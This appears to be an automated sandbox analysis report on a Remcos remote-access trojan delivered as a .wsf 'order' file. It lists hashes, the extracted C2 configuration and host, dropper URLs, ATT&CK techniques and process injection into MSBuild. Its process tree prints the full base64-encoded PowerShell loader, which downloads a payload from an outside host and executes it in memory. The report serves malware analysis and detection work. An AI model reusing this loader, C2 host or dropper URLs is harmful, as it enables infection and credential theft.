remcos | a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-12-2024 10:11

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General

Target

Order_DEC2024.wsf
Size

3KB
MD5

c209a2bdfa9028df5da14abdc1fc58ce
SHA1

17b2e2192cccdde3bc51197285ccdc5a0dc80587
SHA256

a2e71163d56c1feb4714e20d8b559bcf005e10b9044d9565afa0e257b0eb4d62
SHA512

0d7a39070b32d140bfcf01f125eea94d9016d0e641e461d1d2a8d0b42d5d0cc8388fccc1c08272ed09bde710cbd4154b281e638b9f608e7e0b344d6aa3bd54c9

Score

10^/10

remcos 4 collection discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

lewisham1122.ddnsking.com:6426

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-L31JDJ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2752-46-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1748-44-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1892-43-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2752-46-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1748-44-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	1516	WScript.exe
8	1516	WScript.exe
19	3632	powershell.exe
24	3632	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3632	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3632 set thread context of 484	3632	powershell.exe	99
PID 484 set thread context of 1748	484	MSBuild.exe	101
PID 484 set thread context of 2752	484	MSBuild.exe	102
PID 484 set thread context of 1892	484	MSBuild.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3632	powershell.exe
3632	powershell.exe
3632	powershell.exe
3632	powershell.exe
3632	powershell.exe
1748	MSBuild.exe
1748	MSBuild.exe
1892	MSBuild.exe
1892	MSBuild.exe
1748	MSBuild.exe
1748	MSBuild.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
484	MSBuild.exe
484	MSBuild.exe
484	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	1892	MSBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
484	MSBuild.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 3632	1516	WScript.exe	85
PID 1516 wrote to memory of 3632	1516	WScript.exe	85
PID 3632 wrote to memory of 4820	3632	powershell.exe	98
PID 3632 wrote to memory of 4820	3632	powershell.exe	98
PID 3632 wrote to memory of 4820	3632	powershell.exe	98
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 3632 wrote to memory of 484	3632	powershell.exe	99
PID 484 wrote to memory of 1748	484	MSBuild.exe	101
PID 484 wrote to memory of 1748	484	MSBuild.exe	101
PID 484 wrote to memory of 1748	484	MSBuild.exe	101
PID 484 wrote to memory of 1748	484	MSBuild.exe	101
PID 484 wrote to memory of 2752	484	MSBuild.exe	102
PID 484 wrote to memory of 2752	484	MSBuild.exe	102
PID 484 wrote to memory of 2752	484	MSBuild.exe	102
PID 484 wrote to memory of 2752	484	MSBuild.exe	102
PID 484 wrote to memory of 1892	484	MSBuild.exe	103
PID 484 wrote to memory of 1892	484	MSBuild.exe	103
PID 484 wrote to memory of 1892	484	MSBuild.exe	103
PID 484 wrote to memory of 1892	484	MSBuild.exe	103

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order_DEC2024.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $maremma = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JG5lbmhvID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGFsdm9yb3RhciA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGNob3N0cmEgPSAkYWx2b3JvdGFyLkRvd25sb2FkRGF0YSgkbmVuaG8pOyRwZXJpZ29zYW1lbnRlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNob3N0cmEpOyRtZXhlcm90byA9ICc8PEJBU0U2NF9TVEFSVD4+JzskbHVwYW50ZSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGVuY2FyZGlyID0gJHBlcmlnb3NhbWVudGUuSW5kZXhPZigkbWV4ZXJvdG8pOyRuaXN0byA9ICRwZXJpZ29zYW1lbnRlLkluZGV4T2YoJGx1cGFudGUpOyRlbmNhcmRpciAtZ2UgMCAtYW5kICRuaXN0byAtZ3QgJGVuY2FyZGlyOyRlbmNhcmRpciArPSAkbWV4ZXJvdG8uTGVuZ3RoOyRjdW5ldGEgPSAkbmlzdG8gLSAkZW5jYXJkaXI7JGF1bGljaXNtbyA9ICRwZXJpZ29zYW1lbnRlLlN1YnN0cmluZygkZW5jYXJkaXIsICRjdW5ldGEpOyRkZWJpbGl0YW1lbnRvID0gLWpvaW4gKCRhdWxpY2lzbW8uVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGF1bGljaXNtby5MZW5ndGgpXTskZWxlbWllaXJhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGViaWxpdGFtZW50byk7JGxldmFkb3VyYSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGVsZW1pZWlyYSk7JGVzY290YSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRlc2NvdGEuSW52b2tlKCRudWxsLCBAKCcwL2ZoY3dvL3IvZWUuZXRzYXAvLzpzcHR0aCcsICdiaWNoYW5jcm9zJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsICdNU0J1aWxkJywgJ2JpY2hhbmNyb3MnLCAnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnYmljaGFuY3JvcycsJ2JpY2hhbmNyb3MnLCdiaWNoYW5jcm9zJywnMScsJ2JpY2hhbmNyb3MnKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$escumar = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($maremma));Invoke-Expression $escumar
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4820
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:484
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\vmavecdq"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1748
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\fofgevokztng"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:2752
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\Admin\AppData\Local\Temp\iilyxnzlnbflcqi"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
9d811164603d3c2a516552e024bd5be8

SHA1
2fad55dfaef596c1d7db661964a81e060a900078

SHA256
45de0d9dca96ccc9de12a6c6505dafb4990967b907f36b2f31da756dda66edf8

SHA512
31973e68a9f028bcbce44b9d333e1071ef1170beb2c2a716e89a7a9870205bb7a90f60219d622a28ff4826131965dd352f04a930c6d3cfe7f403b8d694fdfff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vp5ad13h.mee.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\vmavecdq

Filesize
4KB

MD5
17eece3240d08aa4811cf1007cfe2585

SHA1
6c10329f61455d1c96e041b6f89ee6260af3bd0f

SHA256
7cc0db44c7b23e4894fe11f0d8d84b2a82ad667eb1e3504192f3ba729f9a7903

SHA512
a7de8d6322410ec89f76c70a7159645e8913774f38b84aafeeeb9f90dc3b9aa74a0a280d0bb6674790c04a8ff2d059327f02ebfda6c4486778d53b7fc6da6370

Download Submit
memory/484-56-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/484-57-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-86-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-79-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-71-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-70-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-18-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-19-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-26-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-27-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-63-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-62-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-23-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-30-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-32-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-34-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-33-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-36-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-55-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/484-52-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/484-87-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/484-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1748-44-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1748-38-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1748-41-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1892-40-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1892-43-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1892-42-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2752-45-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2752-46-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2752-39-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3632-11-0x00007FFCB5B70000-0x00007FFCB6631000-memory.dmp

Filesize
10.8MB

Download
memory/3632-0-0x00007FFCB5B73000-0x00007FFCB5B75000-memory.dmp

Filesize
8KB

Download
memory/3632-14-0x00007FFCB5B73000-0x00007FFCB5B75000-memory.dmp

Filesize
8KB

Download
memory/3632-29-0x00007FFCB5B70000-0x00007FFCB6631000-memory.dmp

Filesize
10.8MB

Download
memory/3632-10-0x000001F0EA720000-0x000001F0EA742000-memory.dmp

Filesize
136KB

Download
memory/3632-17-0x000001F0FAD80000-0x000001F0FAED8000-memory.dmp

Filesize
1.3MB

Download
memory/3632-16-0x00007FFCB5B70000-0x00007FFCB6631000-memory.dmp

Filesize
10.8MB

Download
memory/3632-15-0x00007FFCB5B70000-0x00007FFCB6631000-memory.dmp

Filesize
10.8MB

Download
memory/3632-28-0x00007FFCB5B70000-0x00007FFCB6631000-memory.dmp

Filesize
10.8MB

Download
memory/3632-12-0x00007FFCB5B70000-0x00007FFCB6631000-memory.dmp

Filesize
10.8MB

Download
memory/3632-13-0x00007FFCB5B70000-0x00007FFCB6631000-memory.dmp

Filesize
10.8MB

Download